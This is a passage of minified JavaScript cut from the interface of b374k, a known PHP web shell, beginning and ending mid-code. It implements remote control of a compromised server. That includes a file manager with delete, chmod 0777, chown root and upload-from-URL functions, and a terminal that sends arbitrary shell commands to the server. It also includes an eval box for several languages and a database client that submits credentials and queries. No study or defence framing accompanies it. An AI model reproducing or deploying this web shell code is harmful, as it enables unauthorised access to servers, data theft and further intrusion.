class=\'colFit\'>Folder Name</td><td><input type=\'text\' class=\'newFolder\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'newfolder_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'newfolder_go();\'>create</span></td></tr></table>";show_box(title,content)}function newfolder_go(){newFolder=$(\'.newFolder\').val();send_post({newFolder:newFolder},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function newfile(path){title="New File";path=path+\'newfile-\'+time();content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>File Name</td><td><input type=\'text\' class=\'newFile\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'newfile_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'newfile_go();\'>create</span></td></tr></table>";show_box(title,content)}function newfile_go(){newFile=$(\'.newFile\').val();send_post({newFile:newFile},function(res){if(res!=\'error\'){view(newFile,\'edit\');$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function viewfileorfolder(){title="View File / Folder";content="<table class=\'boxtbl\'><tr><td><input type=\'text\' class=\'viewFileorFolder\' value=\'"+html_safe(get_cwd())+"\' onkeydown=\\"trap_enter(event, \'viewfileorfolder_go\');\\"></td></tr><tr><td><span class=\'button\' onclick=\'viewfileorfolder_go();\'>view</span></td></tr></table>";show_box(title,content)}function viewfileorfolder_go(){entry=$(\'.viewFileorFolder\').val();send_post({viewFileorFolder:entry},function(res){if(res!=\'error\'){if(res==\'file\'){view(entry,\'auto\');show_tab(\'explorer\')}else if(res==\'folder\'){navigate(entry);show_tab(\'explorer\')}}})}function del(path){title="Delete";content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Delete</td><td><input type=\'text\' class=\'delete\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'delete_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'delete_go();\'>delete</span></td></tr></table>";show_box(title,content)}function delete_go(){path=$(\'.delete\').val();send_post({delete:path},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function find(path){findfile="<table class=\'boxtbl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Find File</p></th></tr></thead><tbody><tr><td style=\'width:144px\'>Search in</td><td><input type=\'text\' class=\'findfilePath\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td style=\'border-bottom:none;\'>Filename contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findfileFilename\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td></td><td><span class=\'cBox findfileFilenameRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;<span class=\'cBox findfileFilenameInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td style=\'border-bottom:none;\'>File contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findfileContains\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td></td><td><span class=\'cBox findfileContainsRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;<span class=\'cBox findfileContainsInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class=\'cBox findfileReadable\'></span><span class=\'floatLeft\'>Readable</span>&nbsp;&nbsp;<span class=\'cBox findfileWritable\'></span><span class=\'floatLeft\'>Writable</span>&nbsp;&nbsp;<span class=\'cBox findfileExecutable\'></span><span class=\'floatLeft\'>Executable</span></td></tr></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"find_go_file();\\">find</span></td></tr><tr><td colspan=\'2\' class=\'findfileResult\'></td></tr></tfoot></table>";findfolder="<table class=\'boxtbl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Find Folder</p></th></tr></thead><tbody><tr><td style=\'width:144px\'>Search in</td><td><input type=\'text\' class=\'findFolderPath\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'find_go_folder\');\\"></td></tr><tr><td style=\'border-bottom:none;\'>Foldername contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findFoldername\' onkeydown=\\"trap_enter(event, \'find_go_folder\');\\"></td></tr><tr><td></td><td><span class=\'cBox findFoldernameRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;&nbsp;<span class=\'cBox findFoldernameInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class=\'cBox findReadable\'></span><span class=\'floatLeft\'>Readable</span>&nbsp;&nbsp;<span class=\'cBox findWritable\'></span><span class=\'floatLeft\'>Writable</span>&nbsp;&nbsp;<span class=\'cBox findExecutable\'></span><span class=\'floatLeft\'>Executable</span></td></tr></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"find_go_folder();\\">find</span></td></tr><tr><td colspan=\'2\' class=\'findResult\'></td></tr></tfoot></table>";$(\'#explorer\').html("<div id=\'xplUpload\'>"+findfile+\'<br>\'+findfolder+\'</div>\');cbox_bind(\'xplUpload\')}function find_go_file(){find_go(\'file\')}function find_go_folder(){find_go(\'folder\')}function find_go(findType){findPath=(findType==\'file\')?$(\'.findfilePath\').val():$(\'.findFolderPath\').val();findResult=(findType==\'file\')?$(\'.findfileResult\'):$(\'.findResult\');findName=(findType==\'file\')?$(\'.findfileFilename\').val():$(\'.findFoldername\').val();findNameRegex=(findType==\'file\')?$(\'.findfileFilenameRegex\').hasClass(\'cBoxSelected\').toString():$(\'.findFoldernameRegex\').hasClass(\'cBoxSelected\').toString();findNameInsensitive=(findType==\'file\')?$(\'.findfileFilenameInsensitive\').hasClass(\'cBoxSelected\').toString():$(\'.findFoldernameInsensitive\').hasClass(\'cBoxSelected\').toString();findContent=(findType==\'file\')?$(\'.findfileContains\').val():"";findContentRegex=(findType==\'file\')?$(\'.findfileContainsRegex\').hasClass(\'cBoxSelected\').toString():"";findContentInsensitive=(findType==\'file\')?$(\'.findfileContainsInsensitive\').hasClass(\'cBoxSelected\').toString():"";findReadable=(findType==\'file\')?$(\'.findfileReadable\').hasClass(\'cBoxSelected\').toString():$(\'.findWritable\').hasClass(\'cBoxSelected\').toString();findWritable=(findType==\'file\')?$(\'.findfileWritable\').hasClass(\'cBoxSelected\').toString():$(\'.findReadable\').hasClass(\'cBoxSelected\').toString();findExecutable=(findType==\'file\')?$(\'.findfileExecutable\').hasClass(\'cBoxSelected\').toString():$(\'.findExecutable\').hasClass(\'cBoxSelected\').toString();send_post({findType:findType,findPath:findPath,findName:findName,findNameRegex:findNameRegex,findNameInsensitive:findNameInsensitive,findContent:findContent,findContentRegex:findContentRegex,findContentInsensitive:findContentInsensitive,findReadable:findReadable,findWritable:findWritable,findExecutable:findExecutable},function(res){if(res!=\'error\'){findResult.html(res)}})}function ul_go_comp(){ul_go(\'comp\')}function ul_go_url(){ul_go(\'url\')}function ul(path){ulcomputer="<table class=\'boxtbl ulcomp\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Upload From Computer <a onclick=\'ul_add_comp();\'>(+)</a></p></th></tr></thead><tbody class=\'ulcompadd\'></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"ul_go_comp();\\">upload</span></td></tr><tr><td colspan=\'2\' class=\'ulCompResult\'></td></tr><tr><td colspan=\'2\'><div id=\'ulDragNDrop\'>Or Drag and Drop files here</div></td></tr><tr><td colspan=\'2\' class=\'ulDragNDropResult\'></td></tr></tfoot></table>";ulurl="<table class=\'boxtbl ulurl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Upload From Url <a onclick=\'ul_add_url();\'>(+)</a></p></th></tr></thead><tbody class=\'ulurladd\'></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"ul_go_url();\\">upload</span></td></tr><tr><td colspan=\'2\' class=\'ulUrlResult\'></td></tr></tfoot></table>";content=ulcomputer+\'<br>\'+ulurl+"<input type=\'hidden\' class=\'ul_path\' value=\'"+path+"\'>";$(\'#explorer\').html(content);ul_add_comp();ul_add_url();$(\'#ulDragNDrop\').on(\'dragenter\',function(e){e.stopPropagation();e.preventDefault()});$(\'#ulDragNDrop\').on(\'dragover\',function(e){e.stopPropagation();e.preventDefault()});$(\'#ulDragNDrop\').on(\'drop\',function(e){e.stopPropagation();e.preventDefault();files=e.target.files||e.dataTransfer.files;ulResult=$(\'.ulDragNDropResult\');ulResult.html(\'\');$.each(files,function(i){if(this){ulType=\'DragNDrop\';filename=this.name;var formData=new FormData();formData.append(\'ulFile\',this);formData.append(\'ulSaveTo\',get_cwd());formData.append(\'ulFilename\',filename);formData.append(\'ulType\',\'comp\');entry="<p class=\'ulRes"+ulType+i+"\'><span class=\'strong\'>&gt;</span>&nbsp;<a onclick=\'view_entry(this);\' class=\'ulFilename"+ulType+i+"\'>"+filename+"</a>&nbsp;<span class=\'ulProgress"+ulType+i+"\'></span></p>";ulResult.append(entry);if(this.size<=0){$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}else{ul_start(formData,ulType,i)}}})})}function ul_add_comp(path){path=html_safe($(\'.ul_path\').val());$(\'.ulcompadd\').append("<tr><td style=\'width:144px\'>File</td><td><input type=\'file\' class=\'ulFileComp\'></td></tr><tr><td>Save to</td><td><input type=\'text\' class=\'ulSaveToComp\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ul_go_comp\');\\"></td></tr><tr><td>Filename (Optional)</td><td><input type=\'text\' class=\'ulFilenameComp\' onkeydown=\\"trap_enter(event, \'ul_go_comp\');\\"></td></tr>")}function ul_add_url(path){path=html_safe($(\'.ul_path\').val());$(\'.ulurladd\').append("<tr><td style=\'width:144px\'>File URL</td><td><input type=\'text\' class=\'ulFileUrl\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr><tr><td>Save to</td><td><input type=\'text\' class=\'ulSaveToUrl\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr><tr><td>Filename (Optional)</td><td><input type=\'text\' class=\'ulFilenameUrl\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr>")}function ul_start(formData,ulType,i){loading_start();$.ajax({url:targeturl,type:\'POST\',data:formData,cache:false,contentType:false,processData:false,xhr:function(){myXhr=$.ajaxSettings.xhr();if(myXhr.upload){myXhr.upload.addEventListener(\'progress\',function(e){percent=Math.floor(e.loaded/e.total*100);$(\'.ulProgress\'+ulType+i).html(\'( \'+percent+\'% )\')},false)}return myXhr},success:function(res){if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){res=\'error\'}if(res==\'error\'){$(\'.ulProgress\'+ulType+i).html(\'( failed )\')}else{$(\'.ulRes\'+ulType+i).html(res)}loading_stop()},error:function(){loading_stop();$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}})}function ul_go(ulType){ulFile=(ulType==\'comp\')?$(\'.ulFileComp\'):$(\'.ulFileUrl\');ulResult=(ulType==\'comp\')?$(\'.ulCompResult\'):$(\'.ulUrlResult\');ulResult.html(\'\');ulFile.each(function(i){if(((ulType==\'comp\')&&this.files[0])||((ulType==\'url\')&&(this.value!=\'\'))){file=(ulType==\'comp\')?this.files[0]:this.value;filename=(ulType==\'comp\')?file.name:file.substring(file.lastIndexOf(\'/\')+1);ulSaveTo=(ulType==\'comp\')?$(\'.ulSaveToComp\')[i].value:$(\'.ulSaveToUrl\')[i].value;ulFilename=(ulType==\'comp\')?$(\'.ulFilenameComp\')[i].value:$(\'.ulFilenameUrl\')[i].value;var formData=new FormData();formData.append(\'ulFile\',file);formData.append(\'ulSaveTo\',ulSaveTo);formData.append(\'ulFilename\',ulFilename);formData.append(\'ulType\',ulType);entry="<p class=\'ulRes"+ulType+i+"\'><span class=\'strong\'>&gt;</span>&nbsp;<a onclick=\'view_entry(this);\' class=\'ulFilename"+ulType+i+"\'>"+filename+"</a>&nbsp;<span class=\'ulProgress"+ulType+i+"\'></span></p>";ulResult.append(entry);check=true;if(ulType==\'comp\'){check=(file.size<=0)}else check=(file=="");if(check){$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}else{ul_start(formData,ulType,i)}}})}function trap_ctrl_enter(el,e,callback){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){if(callback!=null)window[callback]()}fix_tabchar(el,e)}function edit_save_raw(){edit_save(\'edit\')}function edit_save_hex(){edit_save(\'hex\')}function edit_save(editType){editFilename=$(\'#editFilename\').val();editInput=$(\'#editInput\').val();editSuccess=false;preserveTimestamp=\'false\';if($(\'.cBox\').hasClass(\'cBoxSelected\'))preserveTimestamp=\'true\';send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},function(res){if(res!=\'error\'){editSuccess=\'success\';view(editFilename,editType,preserveTimestamp)}else editSuccess=\'error\'})}function mass_act(type){buffer=get_all_cbox_selected(\'xplTable\',\'xpl_href\');if((type==\'cut\')||(type==\'copy\')){localStorage.setItem(\'bufferLength\',buffer.length);localStorage.setItem(\'bufferAction\',type);$.each(buffer,function(i,v){localStorage.setItem(\'buffer_\'+i,v)})}else if(type==\'paste\'){bufferLength=localStorage.getItem(\'bufferLength\');bufferAction=localStorage.getItem(\'bufferAction\');if(bufferLength>0){massBuffer=\'\';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem(\'buffer_\'+i))){massBuffer+=buff+\'\\n\'}}massBuffer=$.trim(massBuffer);if(bufferAction==\'cut\')title=\'move\';else if(bufferAction==\'copy\')title=\'copy\';content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>"+title+" here</td><td><input type=\'text\' value=\'"+html_safe(get_cwd())+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_paste\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'paste\');\\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type==\'extract (tar)\')||(type==\'extract (tar.gz)\')||(type==\'extract (zip)\')){if(type==\'extract (tar)\')arcType=\'untar\';else if(type==\'extract (tar.gz)\')arcType=\'untargz\';else if(type==\'extract (zip)\')arcType=\'unzip\';if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>Extract to</td><td><input class=\'massValue\' type=\'text\' value=\'"+html_safe(get_cwd())+"\'onkeydown=\\"trap_enter(event, \'mass_act_go_"+arcType+"\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+arcType+"\');\\">extract</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type==\'compress (tar)\')||(type==\'compress (tar.gz)\')||(type==\'compress (zip)\')){date=new Date();rand=date.getTime();if(type==\'compress (tar)\'){arcType=\'tar\';arcFilename=rand+\'.tar\'}else if(type==\'compress (tar.gz)\'){arcType=\'targz\';arcFilename=rand+\'.tar.gz\'}else if(type==\'compress (zip)\'){arcType=\'zip\';arcFilename=rand+\'.zip\'}if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>Archive</td><td><input class=\'massValue\' type=\'text\' value=\'"+arcFilename+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+arcType+"\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+arcType+"\');\\">compress</span></td></tr></table>";show_box(ucfirst(title),content)}}else if(type!=\'\'){if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;line=\'\';if(type==\'chmod\')line="<tr><td class=\'colFit\'>chmod</td><td><input class=\'massValue\' type=\'text\' value=\'0777\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>";else if(type==\'chown\')line="<tr><td class=\'colFit\'>chown</td><td><input class=\'massValue\' type=\'text\' value=\'root\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>";else if(type==\'touch\'){var now=new Date();line="<tr><td class=\'colFit\'>touch</td><td><input class=\'massValue\' type=\'text\' value=\'"+now.toGMTString()+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>"}content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+type+"\');\\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}$(\'.cBoxSelected\').removeClass(\'cBoxSelected\');xpl_update_status()}function mass_act_go_tar(){mass_act_go(\'tar\')}function mass_act_go_targz(){mass_act_go(\'targz\')}function mass_act_go_zip(){mass_act_go(\'zip\')}function mass_act_go_untar(){mass_act_go(\'untar\')}function mass_act_go_untargz(){mass_act_go(\'untargz\')}function mass_act_go_unzip(){mass_act_go(\'unzip\')}function mass_act_go_paste(){mass_act_go(\'paste\')}function mass_act_go_chmod(){mass_act_go(\'chmod\')}function mass_act_go_chown(){mass_act_go(\'chown\')}function mass_act_go_touch(){mass_act_go(\'touch\')}function mass_act_go(massType){massBuffer=$.trim($(\'.massBuffer\').val());massPath=get_cwd();massValue=\'\';if(massType==\'paste\'){bufferLength=localStorage.getItem(\'bufferLength\');bufferAction=localStorage.getItem(\'bufferAction\');if(bufferLength>0){massBuffer=\'\';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem(\'buffer_\'+i))){massBuffer+=buff+\'\\n\'}}massBuffer=$.trim(massBuffer);if(bufferAction==\'copy\')massType=\'copy\';else if(bufferAction==\'cut\')massType=\'cut\'}}else if((massType==\'chmod\')||(massType==\'chown\')||(massType==\'touch\')){massValue=$(\'.massValue\').val()}else if((massType==\'tar\')||(massType==\'targz\')||(massType==\'zip\')){massValue=$(\'.massValue\').val()}else if((massType==\'untar\')||(massType==\'untargz\')||(massType==\'unzip\')){massValue=$(\'.massValue\').val()}if(massBuffer!=\'\'){send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue},function(res){if(res!=\'error\'){$(\'.boxresult\').html(res+\' Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\');navigate(get_cwd())})}}function xpl_update_status(){totalSelected=$(\'#xplTable\').find(\'.cBoxSelected\').not(\'.cBoxAll\').length;if(totalSelected==0)$(\'.xplSelected\').html(\'\');else $(\'.xplSelected\').html(\', \'+totalSelected+\' item(s) selected\')}function xpl_bind(){$(\'.navigate\').off(\'click\');$(\'.navigate\').on(\'click\',function(e){path=xpl_href($(this));navigate(path);hide_box()});$(\'.navbar\').off(\'click\');$(\'.navbar\').on(\'click\',function(e){path=$(this).attr(\'data-path\');navigate(path);hide_box()});$(\'.newfolder\').off(\'click\');$(\'.newfolder\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));newfolder(path)});$(\'.newfile\').off(\'click\');$(\'.newfile\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));newfile(path)});$(\'.del\').off(\'click\');$(\'.del\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));del(path)});$(\'.view\').off(\'click\');$(\'.view\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'auto\');hide_box()});$(\'.hex\').off(\'click\');$(\'.hex\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'hex\')});$(\'#viewFullsize\').off(\'click\');$(\'#viewFullsize\').on(\'click\',function(e){src=$(\'#viewImage\').attr(\'src\');window.open(src)});$(\'.edit\').off(\'click\');$(\'.edit\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'edit\');hide_box()});$(\'.ren\').off(\'click\');$(\'.ren\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));ren(path)});$(\'.action\').off(\'click\');$(\'.action\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'file\')});$(\'.actionfolder\').off(\'click\');$(\'.actionfolder\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'dir\')});$(\'.actiondot\').off(\'click\');$(\'.actiondot\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'dot\')});$(\'.dl\').off(\'click\');$(\'.dl\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));$(\'#form\').append("<input type=\'hidden\' name=\'download\' value=\'"+path+"\'>");$(\'#form\').submit();$(\'#form\').html(\'\');hide_box()});$(\'.ul\').off(\'click\');$(\'.ul\').on(\'click\',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);ul(path);hide_box()});$(\'.find\').off(\'click\');$(\'.find\').on(\'click\',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);find(path);hide_box()});$(\'#massAction\').off(\'click\');$(\'#massAction\').on(\'change\',function(e){type=$(\'#massAction\').val();mass_act(type);$(\'#massAction\').val(\'Action\')});cbox_bind(\'xplTable\',\'xpl_update_status\')}function xpl_href(el){return el.parent().parent().attr(\'data-path\')}function multimedia(path){var a=$(\'video\').get(0);send_post({multimedia:path},function(res){a.src=res});hide_box()}$(\'#terminalInput\').on(\'keydown\',function(e){if(e.keyCode==13){cmd=$(\'#terminalInput\').val();terminalHistory.push(cmd);terminalHistoryPos=terminalHistory.length;if(cmd==\'clear\'||cmd==\'cls\'){$(\'#terminalOutput\').html(\'\')}else if((path=cmd.match(/cd(.*)/i))||(path=cmd.match(/^([a-z]:)$/i))){path=$.trim(path[1]);navigate(path)}else if(cmd!=\'\'){send_post({terminalInput:cmd},function(res){cwd=html_safe(get_cwd());res=\'<span class=\\\'strong\\\'>\'+cwd+\'&gt;</span>\'+html_safe(cmd)+\'\\n\'+res+\'\\n\';$(\'#terminalOutput\').append(res);bottom=$(document).height()-$(window).height();$(window).scrollTop(bottom)})}$(\'#terminalInput\').val(\'\');setTimeout("$(\'#terminalInput\').focus()",100)}else if(e.keyCode==38){if(terminalHistoryPos>0){terminalHistoryPos--;$(\'#terminalInput\').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos<0)terminalHistoryPos=0}}else if(e.keyCode==40){if(terminalHistoryPos<terminalHistory.length-1){terminalHistoryPos++;$(\'#terminalInput\').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos>terminalHistory.length)terminalHistoryPos=terminalHistory.length}}fix_tabchar(this,e)});function eval_go(){evalType=$(\'#evalType\').val();evalInput=$(\'#evalInput\').val();evalOptions=$(\'#evalOptions\').val();evalArguments=$(\'#evalArguments\').val();if(evalOptions==\'Options/Switches\')evalOptions=\'\';if(evalArguments==\'Arguments\')evalArguments=\'\';if($.trim(evalInput)!=\'\'){send_post({evalInput:evalInput,evalType:evalType,evalOptions:evalOptions,evalArguments:evalArguments},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];$(\'#evalOutput\').html(output)}else{$(\'#evalOutput\').html(res)}}})}}function eval_init(){if((evalSupported=localStorage.getItem(\'evalSupported\'))){eval_bind();output("eval : "+evalSupported);evalReady=true}else{send_post({evalGetSupported:"evalGetSupported"},function(res){evalReady=true;if(res!="error"){localStorage.setItem(\'evalSupported\',res);evalSupported=res;eval_bind();output("eval : "+evalSupported)}})}}function eval_bind(){if((evalSupported!=null)&&(evalSupported!=\'\')){splits=evalSupported.split(",");$.each(splits,function(i,k){$(\'#evalType\').append("<option>"+k+"</option>")})}$(\'#evalType\').on(\'change\',function(e){if($(\'#evalType\').val()==\'php\'){$(\'#evalAdditional\').hide()}else{$(\'#evalAdditional\').show()}});$(\'#evalOptions\').on(\'focus\',function(e){options=$(\'#evalOptions\');if(options.val()==\'Options/Switches\')options.val(\'\')});$(\'#evalOptions\').on(\'blur\',function(e){options=$(\'#evalOptions\');if($.trim(options.val())==\'\')options.val(\'Options/Switches\')});$(\'#evalArguments\').on(\'focus\',function(e){args=$(\'#evalArguments\');if(args.val()==\'Arguments\')args.val(\'\')});$(\'#evalArguments\').on(\'blur\',function(e){args=$(\'#evalArguments\');if($.trim(args.val())==\'\')args.val(\'Arguments\')});$(\'#evalInput\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){eval_go()}fix_tabchar(this,e)})}Zepto(function($){$(\'#decodeStr\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){decode_go()}fix_tabchar(this,e)})});function decode_go(){decodeStr=$(\'#decodeStr\').val();send_post({decodeStr:decodeStr},function(res){if(res!=\'error\'){$(\'#decodeResult\').html(\'\');$(\'#decodeResult\').html(res)}})}Zepto(function($){db_init()});var dbSupported="";var dbPageLimit=50;function db_init(){if((dbSupported=localStorage.getItem(\'db_supported\'))){db_bind();output("db : "+dbSupported);db_add_supported()}else{send_post({dbGetSupported:""},function(res){if(res!="error"){localStorage.setItem(\'dbSupported\',res);dbSupported=res;db_bind();output("db : "+dbSupported);db_add_supported()}})}}function db_add_supported(){splits=dbSupported.split(",");$.each(splits,function(i,k){$(\'#dbType\').append("<option>"+k+"</option>")})}function db_bind(){$(\'#dbType\').on(\'change\',function(e){type=$(\'#dbType\').val();if((type==\'odbc\')||(type==\'pdo\')){$(\'.dbHostLbl\').html(\'DSN / Connection String\');$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').hide()}else if((type==\'sqlite\')||(type==\'sqlite3\')){$(\'.dbHostLbl\').html(\'DB File\');$(\'.dbUserRow\').hide();$(\'.dbPassRow\').hide();$(\'.dbPortRow\').hide()}else{$(\'.dbHostLbl\').html(\'Host\');$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').show()}});$(\'#dbQuery\').on(\'focus\',function(e){if($(\'#dbQuery\').val()==\'You can also press ctrl+enter to submit\'){$(\'#dbQuery\').val(\'\')}});$(\'#dbQuery\').on(\'blur\',function(e){if($(\'#dbQuery\').val()==\'\'){$(\'#dbQuery\').val(\'You can also press ctrl+enter to submit\')}});$(\'#dbQuery\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){db_run()}})}function db_nav_bind(){dbType=$(\'#dbType\').val();$(\'.boxNav\').off(\'click\');$(\'.boxNav\').on(\'click\',function(){$(this).next().toggle()});$(\'.dbTable\').off(\'click\');$(\'.dbTable\').on(\'click\',function(){type=$(\'#dbType\').val();table=$(this).html();db=$(this).parent().parent().parent().prev().html();db_query_tbl(type,db,table,0,dbPageLimit)})}function db_connect(){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort},function(res){if(res!=\'error\'){$(\'#dbNav\').html(res);$(\'.dbHostRow\').hide();$(\'.dbUserRow\').hide();$(\'.dbPassRow\').hide();$(\'.dbPortRow\').hide();$(\'.dbConnectRow\').hide();$(\'.dbQueryRow\').show();$(\'#dbBottom\').show();db_nav_bind()}else $(\'.dbError\').html(\'Unable to connect\')})}function db_disconnect(){$(\'.dbHostRow\').show();$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').show();$(\'.dbConnectRow\').show();$(\'.dbQueryRow\').hide();$(\'#dbNav\').html(\'\');$(\'#dbResult\').html(\'\');$(\'#dbBottom\').hide()}function db_run(){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();dbQuery=$(\'#dbQuery\').val();if((dbQuery!=\'\')&&(dbQuery!=\'You can also press ctrl+enter to submit\')){send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:dbQuery},function(res){if(res!=\'error\'){$(\'#dbResult\').html(res);$(\'.tblResult\').each(function(){sorttable.k(this)})}})}}function 